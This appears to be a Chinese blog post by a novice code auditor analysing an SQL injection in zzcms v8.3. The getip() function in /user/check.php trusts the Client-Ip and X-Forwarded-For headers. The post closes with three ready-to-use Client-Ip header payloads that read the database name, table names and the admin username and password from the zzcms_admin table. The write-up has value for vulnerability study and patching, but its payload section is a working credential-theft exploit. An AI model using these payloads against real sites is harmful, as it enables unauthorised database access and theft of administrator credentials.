[ /user/check.php ]

萌新入坑代码审计中....

[附] zzcms v8.3 下载地址

https://pan.baidu.com/s/1vFT6pG31J7NMKtRsbt1fLQ


/user/check.php文件

1.png

调用了/inc/function.php文件里面的getip函数

2.png

我们来看$ip变量的获得,在getip()函数最后面输出$ip

3.png

1. getenv("HTTP_CLIENT_IP")

可以通过Header里面的Client-Ip参数获得

4.png

2. getenv("HTTP_X_FORWARDED_FOR")

可以通过Header里面的X-Forwaded-For参数来获得

5.png

而最为靠谱的REMOTE_ADDR则放到了最后面使用,可悲==

构造Payload

6.png

个人资料这里查看email可以看到查询出的数据,因为我没有找到在哪里查看个人ip,流汗ing

7.png

在利用时建议直接使用Client-Ip参数

Payload:

查询数据库名:

Client-Ip: 127.0.0.1',email=database(),loginip='

查看表名,确认前缀

Client-Ip: 127.0.0.1',email=(select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),loginip='

查询用户名密码:

Client-Ip: 127.0.0.1',email=(select concat(0x23,admin,0x23,pass,0x23) from zzcms.zzcms_admin limit 0,1),loginip='